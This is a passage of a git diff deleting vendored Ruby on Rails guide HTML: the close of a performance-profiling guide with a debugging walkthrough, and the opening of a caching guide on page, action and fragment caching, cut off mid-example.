-<div class="para"><p>As you can see the calls have been separated into slices, no longer is the order determined by process time but instead from hierarchy. Each slice profiles a primary entry, with the primary entry's parents being shown above itself and it's children found below. A primary entry can be ascertained by it having values in the %total and %self columns. Here the main entry here have been bolded for connivence.</p></div>
-<div class="para"><p>So if we look at the last slice. The primary entry would be Array#each_index. It takes 0.18% of the total process time and it is only called once. It is called from Object#make_random_array which is only called once. It's children are Kernal.rand which is called by it all 500 its times that it was call in this action and Arry#[]= which was called 500 times by Array#each_index and once by some other entry.</p></div>
-<h3 id="_tree_files">5.4. Tree Files</h3>
-<div class="para"><p>It's pointless trying to represent a tree file textually so here's a few pretty pictures of it's usefulness</p></div>
-<div class="para"><div class="title">KCachegrind Graph</div><p><span class="image">
-<img src="images/kgraph.png" alt="Graph created by KCachegrind" title="Graph created by KCachegrind" />
-</span></p></div>
-<div class="para"><div class="title">KCachegrind List</div><p><span class="image">
-<img src="images/klist.png" alt="List created by KCachegrind" title="List created by KCachegrind" />
-</span></p></div>
-<div class="para"><p>#TODO Add a bit more information to this.</p></div>
-</div>
-<h2 id="_getting_to_the_point_of_all_of_this">6. Getting to the Point of all of this</h2>
-<div class="sectionbody">
-<div class="para"><p>Now I know all of this is a bit dry and academic. But it's a very powerful tool when you know how to leverage it properly. Which we are going to take a look at in our next section</p></div>
-</div>
-<h2 id="_real_life_example">7. Real Life Example</h2>
-<div class="sectionbody">
-<h3 id="_the_setup">7.1. The setup</h3>
-<div class="para"><p>So I have been building this application for the last month and feel pretty good about the ruby code. I'm readying it for beta testers when I discover to my shock that with less then twenty people it starts to crash. It's a pretty simple Ecommerce site so I'm very confused by what I'm seeing. On running looking through my log files I find to my shock that the lowest time for a page run is running around 240 ms. My database finds aren't the problems so I'm lost as to what is happening to cause all this. Lets run a benchmark.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> HomepageTest <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>PerformanceTest
-  <span style="font-style: italic"><span style="color: #9A1900"># Replace this with your real tests.</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_homepage
-    get <span style="color: #FF0000">'/'</span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="listingblock">
-<div class="title">Example: Output</div>
-<div class="content">
-<pre><tt>HomepageTest#test_homepage (115 ms warmup)
-        process_time: 591 ms
-        memory: 3052.90 KB
-        objects: 59471</tt></pre>
-</div></div>
-<div class="para"><p>Obviously something is very very wrong here. 3052.90 Kb to load my minimal homepage. For Comparison for another site running well I get this for my homepage test.</p></div>
-<div class="listingblock">
-<div class="title">Example: Default</div>
-<div class="content">
-<pre><tt>HomepageTest#test_homepage (19 ms warmup)
-        process_time: 26 ms
-              memory: 298.79 KB
-             objects: 1917</tt></pre>
-</div></div>
-<div class="para"><p>that over a factor of ten difference. Lets look at our flat process time file to see if anything pops out at us.</p></div>
-<div class="listingblock">
-<div class="title">Example: Process time</div>
-<div class="content">
-<pre><tt>20.73      0.39     0.12     0.00     0.27      420  Pathname#cleanpath_aggressive
-17.07      0.14     0.10     0.00     0.04     3186  Pathname#chop_basename
- 6.47      0.06     0.04     0.00     0.02     6571  Kernel#===
- 5.04      0.06     0.03     0.00     0.03      840  Pathname#initialize
- 5.03      0.05     0.03     0.00     0.02        4  ERB::Compiler::ExplicitScanner#scan
- 4.51      0.03     0.03     0.00     0.00     9504  String#==
- 2.94      0.46     0.02     0.00     0.44     1393  String#gsub
- 2.66      0.09     0.02     0.00     0.07      480  Array#each
- 2.46      0.01     0.01     0.00     0.00     3606  Regexp#to_s</tt></pre>
-</div></div>
-<div class="para"><p>Yes indeed we seem to have found the problem. Pathname#cleanpath_aggressive is taking nearly a quarter our process time and  Pathname#chop_basename another 17%. From here I do a few more benchmarks to make sure that these processes are slowing down the other pages. They are so now I know what I must do. <strong>If we can get rid of or shorten these processes we can make our pages run much quicker</strong>.</p></div>
-<div class="para"><p>Now both of these are main ruby processes so are goal right now is to find out what other process is calling them. Glancing at our Graph file I see that #cleanpath is calling #cleanpath_aggressive. #cleanpath is being called by String#gsub and from there some html template errors. But my page seems to be rendering fine. why would it be calling template errors. I'm decide to check my object flat file to see if I can find any more information.</p></div>
-<div class="listingblock">
-<div class="title">Example: Objects Created</div>
-<div class="content">
-<pre><tt>20.74  34800.00 12324.00     0.00 22476.00      420  Pathname#cleanpath_aggressive
-16.79  18696.00  9978.00     0.00  8718.00     3186  Pathname#chop_basename
-11.47  13197.00  6813.00     0.00  6384.00      480  Array#each
- 8.51  41964.00  5059.00     0.00 36905.00     1386  String#gsub
- 6.07   3606.00  3606.00     0.00     0.00     3606  Regexp#to_s</tt></pre>
-</div></div>
-<div class="para"><p>nope nothing new here. Lets look at memory usage</p></div>
-<div class="listingblock">
-<div class="title">Example: Memory Consuption</div>
-<div class="content">
-<pre><tt> 40.17   1706.80  1223.70     0.00   483.10     3186  Pathname#chop_basename
- 14.92    454.47   454.47     0.00     0.00     3606  Regexp#to_s
-  7.09   2381.36   215.99     0.00  2165.37     1386  String#gsub
-  5.08    231.19   154.73     0.00    76.46      420  Pathname#prepend_prefix
-  2.34     71.35    71.35     0.00     0.00     1265  String#initialize_copy</tt></pre>
-</div></div>
-<div class="para"><p>Ok so it seems Regexp#to_s is the second costliest process. At this point I try to figure out what could be calling a regular expression cause I very rarely use them. Going over my standard layout I discover at the top.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>&lt;%if request.env["HTTP_USER_AGENT"].match(/Opera/)%&gt;
-&lt;%= stylesheet_link_tag "opera" %&gt;
-&lt;% end %&gt;
-</tt></pre></div></div>
-<div class="para"><p>That's wrong. I mistakenly am using a search function for a simple compare function. Lets fix that.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>&lt;%if request.env["HTTP_USER_AGENT"] =~ /Opera/%&gt;
-&lt;%= stylesheet_link_tag "opera" %&gt;
-&lt;% end %&gt;
-</tt></pre></div></div>
-<div class="para"><p>I'll now try my test again.</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>process_time: 75 ms
-              memory: 519.95 KB
-             objects: 6537</tt></pre>
-</div></div>
-<div class="para"><p>Much better. The problem has been solved. Now I should have realized earlier due to the String#gsub that my problem had to be with reqexp serch function but such knowledge comes with time. Looking through the mass output data is a skill.</p></div>
-</div>
-<h2 id="_get_yourself_a_game_plan">8. Get Yourself a Game Plan</h2>
-<div class="sectionbody">
-<div class="para"><p>You end up dealing with a large amount of data whenever you profile an application. It's crucial to use a rigorous approach to analyzing your application's performance else fail miserably in a vortex of numbers. This leads us to -</p></div>
-<h3 id="_the_analysis_process">8.1. The Analysis Process</h3>
-<div class="para"><p>I’m going to give an example methodology for conducting your benchmarking and profiling on an application. It is based on your typical scientific method.</p></div>
-<div class="para"><p>For something as complex as Benchmarking you need to take any methodology with a grain of salt but there are some basic strictures that you can depend on.</p></div>
-<div class="para"><p>Formulate a question you need to answer which is simple, tests the smallest measurable thing possible, and is exact. This is typically the hardest part of the experiment. From there some steps that you should follow are.</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-Develop a set of variables and processes to measure in order to answer this question!
-</p>
-</li>
-<li>
-<p>
-Profile based on the question and variables. Key problems to avoid when designing this experiment are:
-</p>
-<div class="ilist"><ul>
-<li>
-<p>
-Confounding: Test one thing at a time, keep everything the same so you don't poison the data with uncontrolled processes.
-</p>
-</li>
-<li>
-<p>
-Cross Contamination: Make sure that runs from one test do not harm the other tests.
-</p>
-</li>
-<li>
-<p>
-Steady States: If you’re testing long running process. You must take the ramp up time and performance hit into your initial measurements.
-</p>
-</li>
-<li>
-<p>
-Sampling Error: Data should perform have a steady variance or range. If you get wild swings or sudden spikes, etc. then you must either account for the reason why or you have a sampling error.
-</p>
-</li>
-<li>
-<p>
-Measurement Error: Aka Human error, always go through your calculations at least twice to make sure there are no mathematical errors. .
-</p>
-</li>
-</ul></div>
-</li>
-<li>
-<p>
-Do a small run of the experiment to verify the design.
-</p>
-</li>
-<li>
-<p>
-Use the small run to determine a proper sample size.
-</p>
-</li>
-<li>
-<p>
-Run the test.
-</p>
-</li>
-<li>
-<p>
-Perform the analysis on the results and determine where to go from there.
-</p>
-</li>
-</ul></div>
-<div class="para"><p>Note: Even though we are using the typical scientific method; developing a hypothesis is not always useful in terms of profiling.</p></div>
-</div>
-<h2 id="_other_profiling_tools">9. Other Profiling Tools</h2>
-<div class="sectionbody">
-<div class="para"><p>There are a lot of great profiling tools out there. Some free, some not so free. This is a sort list detailing some of them.</p></div>
-<h3 id="_httperf">9.1. httperf</h3>
-<div class="para"><p><a href="http://www.hpl.hp.com/research/linux/httperf/">http://www.hpl.hp.com/research/linux/httperf/</a></p></div>
-<div class="para"><p>A necessary tool in your arsenal. Very useful for load testing your website.</p></div>
-<div class="para"><p>#TODO write and link to a short article on how to use httperf. Anybody have a good tutorial availble.</p></div>
-<h3 id="_rails_analyzer">9.2. Rails Analyzer</h3>
-<div class="para"><p>The Rails Analyzer project contains a collection of tools for Rails. It's open source and pretty speedy. It's not being actively worked on but is still contains some very useful tools.</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-The Production Log Analyzer examines Rails log files and gives back a report. It also includes action_grep which will give you all log results for a particular action.
-</p>
-</li>
-<li>
-<p>
-The Action Profiler similar to Ruby-Prof profiler.
-</p>
-</li>
-<li>
-<p>
-rails_stat which gives a live counter of requests per second of a running Rails app.
-</p>
-</li>
-<li>
-<p>
-The SQL Dependency Grapher allows you to visualize the frequency of table dependencies in a Rails application.
-</p>
-</li>
-</ul></div>
-<div class="para"><p>Their project homepage can be found at <a href="http://rails-analyzer.rubyforge.org/">http://rails-analyzer.rubyforge.org/</a></p></div>
-<div class="para"><p>The one major caveat is that it needs your log to be in a different format from how rails sets it up specifically SyslogLogger.</p></div>
-<h4 id="_sysloglogger">9.2.1. SyslogLogger</h4>
-<div class="para"><p>SyslogLogger is a Logger work-alike that logs via syslog instead of to a file. You can add SyslogLogger to your Rails production environment to aggregate logs between multiple machines.</p></div>
-<div class="para"><p>More information can be found out at <a href="http://rails-analyzer.rubyforge.org/hacks/classes/SyslogLogger.html">http://rails-analyzer.rubyforge.org/hacks/classes/SyslogLogger.html</a></p></div>
-<div class="para"><p>If you don't have access to your machines root system or just want something a bit easier to implement there is also a module developed by Geoffrey Grosenbach</p></div>
-<h4 id="_a_hodel_3000_compliant_logger_for_the_rest_of_us">9.2.2. A Hodel 3000 Compliant Logger for the Rest of Us</h4>
-<div class="para"><p>Directions taken from
-<a href="http://topfunky.net/svn/plugins/hodel_3000_compliant_logger/lib/hodel_3000_compliant_logger.rb">link to module file</a></p></div>
-<div class="para"><p>Just put the module in your lib directory and  add this to your environment.rb in it's config portion.</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>require 'hodel_3000_compliant_logger'
-config.logger = Hodel3000CompliantLogger.new(config.log_path)</tt></pre>
-</div></div>
-<div class="para"><p>It's that simple. Your log output on restart should look like this.</p></div>
-<div class="listingblock">
-<div class="title">Example: Hodel 3000 Example</div>
-<div class="content">
-<pre><tt>Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]:
-Parameters: {"action"=&gt;"shipping", "controller"=&gt;"checkout"}
-Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]: 
-[4;36;1mBook Columns (0.003155)   SHOW FIELDS FROM `books`
-Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]: 
-[4;35;1mBook Load (0.000881)   SELECT * FROM `books` WHERE (`books`.`id` = 1 AND (`books`.`sold` = 1)) 
-Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]: 
-[4;36;1mShippingAddress Columns (0.002683)   SHOW FIELDS FROM `shipping_addresses`
-Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]: 
-[4;35;1mBook Load (0.000362)   SELECT ounces FROM `books` WHERE (`books`.`id` = 1) 
-Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]:
-Rendering template within layouts/application
-Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]:
-Rendering checkout/shipping
-Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]: 
-[4;36;1mBook Load (0.000548)   SELECT * FROM `books`
-WHERE (sold = 0) LIMIT 3
-Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]: 
-[4;35;1mAuthor Columns (0.002571)   SHOW FIELDS FROM `authors`
-Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]:
-Author Load (0.000811)   SELECT * FROM `authors` WHERE (`authors`.`id` = 1) 
-Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]:
-Rendered store/_new_books (0.01358)
-Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]:
-Completed in 0.37297 (2 reqs/sec) | Rendering: 0.02971 (7%) | DB: 0.01697 (4%) | 200 OK [https://secure.jeffbooks/checkout/shipping]</tt></pre>
-</div></div>
-<h3 id="_palmist">9.3. Palmist</h3>
-<div class="para"><p>An open source mysql query analyzer. Full featured and easy to work with. Also requires Hodel 3000
-<a href="http://www.flyingmachinestudios.com/projects/">http://www.flyingmachinestudios.com/projects/</a></p></div>
-<h3 id="_new_relic">9.4. New Relic</h3>
-<div class="para"><p><a href="http://www.newrelic.com/">http://www.newrelic.com/</a></p></div>
-<div class="para"><p>Pretty nifty performance tools, pricey though. They do have a basic free
-service both for when in development and when you put your application into production. Very simple installation and signup.</p></div>
-<div class="para"><p>#TODO more in-depth without being like an advertisement.</p></div>
-<h4 id="_manage">9.4.1. Manage</h4>
-<div class="para"><p>Like new relic a production monitoring tool.</p></div>
-</div>
-<h2 id="_changelog">10. Changelog</h2>
-<div class="sectionbody">
-<div class="para"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/4">Lighthouse ticket</a></p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-October 17, 2008: First revision by Pratik
-</p>
-</li>
-<li>
-<p>
-September 6, 2008: Initial version by Matthew Bergman &lt;<a href="mailto:MzbPhoto@gmail.com">MzbPhoto@gmail.com</a>&gt;
-</p>
-</li>
-</ul></div>
-</div>
-
-		</div>
-	</div>
-</body>
-</html>
diff --git a/vendor/rails/railties/doc/guides/html/caching_with_rails.html b/vendor/rails/railties/doc/guides/html/caching_with_rails.html
deleted file mode 100644
index 7aa5999e..00000000
--- a/vendor/rails/railties/doc/guides/html/caching_with_rails.html
+++ /dev/null
@@ -1,583 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
-<head>
-	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
-	<title>Caching with Rails: An overview</title>
-	<!--[if lt IE 8]>
-	<script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
-	<![endif]-->
-	<link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
-	<link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
-	<link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
-	<style type="text/css">
-		div#container {
-	max-width: 900px;
-	padding-bottom: 3em;
-}
-
-div#content {
-	margin-left: 200px;
-}
-
-div#container.notoc {
-	max-width: 600px;
-}
-
-.notoc div#content {
-	margin-left: 0;
-}
-
-pre {
-	line-height: 1.4em;
-}
-
-#content p tt {
-	background: #eeeeee;
-	border: solid 1px #cccccc;
-	padding: 3px;
-}
-
-dt {
-	font-weight: bold;
-}
-
-#content dt tt {
-	font-size: 10pt;
-}
-
-dd {
-	margin-left: 3em;
-}
-
-#content dt tt, #content pre tt {
-	background: none;
-	padding: 0;
-	border: 0;
-}
-
-#content .olist ol {
-	margin-left: 2em;
-}
-
-#header {
-	position: relative;
-	max-width: 840px;
-	margin-left: auto;
-	margin-right: auto;
-}
-
-#header.notoc {
-	max-width: 580px;
-}
-
-#logo {
-	position: absolute;
-	left: 10px;
-	top: 10px;
-	width: 110px;
-	height: 140px;
-}
-
-div#header h1#site_title {
-	background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat;
-	position: absolute;
-	width: 392px;
-	height: 55px;
-	left: 145px;
-	top: 20px;
-	margin: 0;
-	padding: 0;
-}
-
-#site_title span {
-	display: none;
-}
-
-#site_title_tagline {
-	display: none;
-}
-
-ul#navMain {
-	position: absolute;
-	margin: 0;
-	padding: 0;
-	top: 97px;
-	left: 145px;
-}
-
-.left-floaty, .right-floaty {
-	padding: 15px;
-}
-
-.admonitionblock,
-.tableblock {
-	margin-left: 1em;
-	margin-right: 1em;
-	margin-top: 0.25em;
-	margin-bottom: 1em;
-}
-
-.admonitionblock .icon {
-	padding-right: 8px;
-}
-
-.admonitionblock .content {
-	border: solid 1px #ffda78;
-	background: #fffebd;
-	padding: 10px;
-	padding-top: 8px;
-	padding-bottom: 8px;
-}
-
-.admonitionblock .title {
-	font-size: 140%;
-	margin-bottom: 0.5em;
-}
-
-.tableblock table {
-	border: solid 1px #aaaaff;
-	background: #f0f0ff;
-}
-
-.tableblock th {
-	background: #e0e0e0;
-}
-
-.tableblock th,
-.tableblock td {
-	padding: 3px;
-	padding-left: 5px;
-	padding-right: 5px;
-}
-
-.sidebarblock {
-	margin-top: 0.25em;
-	margin: 1em;
-	border: solid 1px #ccccbb;
-	padding: 8px;
-	background: #ffffe0;
-}
-
-.sidebarblock .sidebar-title {
-	font-size: 140%;
-	font-weight: 600;
-	margin-bottom: 0.3em;
-}
-
-.sidebarblock .sidebar-content > .para:last-child > p {
-	margin-bottom: 0;
-}
-
-.sidebarblock .sidebar-title a {
-	text-decoration: none;
-}
-
-.sidebarblock .sidebar-title a:hover {
-	text-decoration: underline;
-}
-
-	</style>
-</head>
-<body>
-	<div id="header" >
-		<div id="logo">
-			<a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
-		</div>
-		
-		<h1 id="site_title"><span>Ruby on Rails</span></h1>
-		<h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
-
-		<ul id="navMain">
-			<li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
-			<li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
-		</ul>
-	</div>
-
-	<div id="container">
-		
-		<div id="sidebar">
-			<h2>Chapters</h2>
-			<ol>
-					<li>
-					<a href="#_basic_caching">Basic Caching</a>
-						<ul>
-						
-							<li><a href="#_page_caching">Page Caching</a></li>
-						
-							<li><a href="#_action_caching">Action Caching</a></li>
-						
-							<li><a href="#_fragment_caching">Fragment Caching</a></li>
-						
-							<li><a href="#_sweepers">Sweepers</a></li>
-						
-							<li><a href="#_sql_caching">SQL Caching</a></li>
-						
-							<li><a href="#_cache_stores">Cache stores</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_advanced_caching">Advanced Caching</a>
-					</li>
-			</ol>
-		</div>
-		
-		<div id="content">
-				<h1>Caching with Rails: An overview</h1>
-			<div id="preamble">
-<div class="sectionbody">
-<div class="para"><p>Everyone caches. This guide will teach you what you need to know about
-avoiding that expensive round-trip to your database and returning what you
-need to return to those hungry web clients in the shortest time possible.</p></div>
-</div>
-</div>
-<h2 id="_basic_caching">1. Basic Caching</h2>
-<div class="sectionbody">
-<div class="para"><p>This is an introduction to the three types of caching techniques that Rails
-provides by default without the use of any third party plugins.</p></div>
-<div class="para"><p>To get started make sure config.action_controller.perform_caching is set
-to true for your environment. This flag is normally set in the
-corresponding config/environments/*.rb and caching is disabled by default
-there for development and test, and enabled for production.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>config<span style="color: #990000">.</span>action_controller<span style="color: #990000">.</span>perform_caching <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
-</tt></pre></div></div>
-<h3 id="_page_caching">1.1. Page Caching</h3>
-<div class="para"><p>Page caching is a Rails mechanism which allows the request for a generated
-page to be fulfilled by the webserver, without ever having to go through the
-Rails stack at all. Obviously, this is super-fast. Unfortunately, it can't be
-applied to every situation (such as pages that need authentication) and since
-the webserver is literally just serving a file from the filesystem, cache
-expiration is an issue that needs to be dealt with.</p></div>
-<div class="para"><p>So, how do you enable this super-fast cache behavior?  Simple, let's say you
-have a controller called ProductsController and a <em>list</em> action that lists all
-the products</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ProductsController <span style="color: #990000">&lt;</span> ActionController
-
-  caches_page <span style="color: #990000">:</span>index
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> index<span style="color: #990000">;</span> <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The first time anyone requests products/index, Rails will generate a file
-called index.html and the webserver will then look for that file before it
-passes the next request for products/index to your Rails application.</p></div>
-<div class="para"><p>By default, the page cache directory is set to Rails.public_path (which is
-usually set to RAILS_ROOT + "/public") and this can be configured by
-changing the configuration setting ActionController::Base.page_cache_directory. Changing the
-default from /public helps avoid naming conflicts, since you may want to
-put other static html in /public, but changing this will require web
-server reconfiguration to let the web server know where to serve the
-cached files from.</p></div>
-<div class="para"><p>The Page Caching mechanism will automatically add a .html exxtension to
-requests for pages that do not have an extension to make it easy for the
-webserver to find those pages and this can be configured by changing the
-configuration setting ActionController::Base.page_cache_extension.</p></div>
-<div class="para"><p>In order to expire this page when a new product is added we could extend our
-example controler like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ProductsController <span style="color: #990000">&lt;</span> ActionController
-
-  caches_page <span style="color: #990000">:</span>list
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> list<span style="color: #990000">;</span> <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> create
-    expire_page <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>list
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>If you want a more complicated expiration scheme, you can use cache sweepers
-to expire cached objects when things change. This is covered in the section on Sweepers.</p></div>
-<h3 id="_action_caching">1.2. Action Caching</h3>
-<div class="para"><p>One of the issues with Page Caching is that you cannot use it for pages that
-require to restrict access somehow. This is where Action Caching comes in.
-Action Caching works like Page Caching except for the fact that the incoming
-web request does go from the webserver to the Rails stack and Action Pack so
-that before filters can be run on it before the cache is served, so that
-authentication and other restrictions can be used while still serving the
-result of the output from a cached copy.</p></div>
-<div class="para"><p>Clearing the cache works in the exact same way as with Page Caching.</p></div>
-<div class="para"><p>Let's say you only wanted authenticated users to edit or create a Product
-object, but still cache those pages:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ProductsController <span style="color: #990000">&lt;</span> ActionController
-
-  before_filter <span style="color: #990000">:</span>authenticate<span style="color: #990000">,</span> <span style="color: #990000">:</span>only <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span> <span style="color: #990000">:</span>edit<span style="color: #990000">,</span> <span style="color: #990000">:</span>create <span style="color: #990000">]</span>
-  caches_page <span style="color: #990000">:</span>list
-  caches_action <span style="color: #990000">:</span>edit
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> list<span style="color: #990000">;</span> <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> create
-    expire_page <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>list
-    expire_action <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>edit
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> edit<span style="color: #990000">;</span> <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>And you can also use :if (or :unless) to pass a Proc that specifies when the
-action should be cached. Also, you can use :layout &#8658; false to cache without
-layout so that dynamic information in the layout such as logged in user info
-or the number of items in the cart can be left uncached. This feature is
-available as of Rails 2.2.</p></div>
-<div class="para"><p>[More: more examples? Walk-through of Action Caching from request to response?
-       Description of Rake tasks to clear cached files? Show example of
-       subdomain caching? Talk about :cache_path, :if and assing blocks/Procs
-       to expire_action?]</p></div>
-<h3 id="_fragment_caching">1.3. Fragment Caching</h3>
-<div class="para"><p>Life would be perfect if we could get away with caching the entire contents of
-a page or action and serving it out to the world. Unfortunately, dynamic web
-applications usually build pages with a variety of components not all of which
-have the same caching characteristics. In order to address such a dynamically
-created page where different parts of the page need to be cached and expired
-differently Rails provides a mechanism called Fragment Caching.</p></div>
-<div class="para"><p>Fragment Caching allows a fragment of view logic to be wrapped in a cache
-block and served out of the cache store when the next request comes in.</p></div>
-<div class="para"><p>As an example, if you wanted to show all the orders placed on your website
-in real time and didn't want to cache that part  of the page, but did want
-to cache the part of the page which lists all products available, you
-could use this piece of code:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;% Order.find_recent.each do |o| %&gt;</span>
-  <span style="color: #FF0000">&lt;%= o.buyer.name %&gt;</span> bought <span style="color: #FF0000">&lt;% o.product.name %&gt;</span>
-<span style="color: #FF0000">&lt;% end %&gt;</span>
-
-<span style="color: #FF0000">&lt;% cache do %&gt;</span>
-  All available products<span style="color: #990000">:</span>
-  <span style="color: #FF0000">&lt;% Product.find(:all).each do |p| %&gt;</span>
-    <span style="color: #FF0000">&lt;%= link_to p.name, product_url(p) %&gt;</span>
-  <span style="color: #FF0000">&lt;% end %&gt;</span>
-<span style="color: #FF0000">&lt;% end %&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>The cache block in our example will bind to the action that called it and is
-written out to the same place as the Action Cache, which means that if you
-want to cache multiple fragments per action, you should provide an action_suffix to the cache call:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;% cache(:action =&gt;</span> <span style="color: #FF0000">'recent'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action_suffix <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'all_products'</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">%&gt;</span>
-  All available products<span style="color: #990000">:</span>
-</tt></pre></div></div>
-<div class="para"><p>and you can expire it using the expire_fragment method, like so:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>expire_fragment<span style="color: #990000">(:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'producst'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'recent'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action_suffix <span style="color: #990000">=&gt;</span> 'all_products<span style="color: #990000">)</span>
-</tt></pre></div></div>
-<h3 id="_sweepers">1.4. Sweepers</h3>
-<div class="para"><p>Cache sweeping is a mechanism which allows you to get around having a ton of
-expire_{page,action,fragment} calls in your code by moving all the work
-required to expire cached content into a ActionController::Caching::Sweeper
-class that is an Observer and looks for changes to an object via callbacks,
-and when a change occurs it expires the caches associated with that object n
-an around or after filter.</p></div>
-<div class="para"><p>Continuing with our Product controller example, we could rewrite it with a
-sweeper such as the following:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
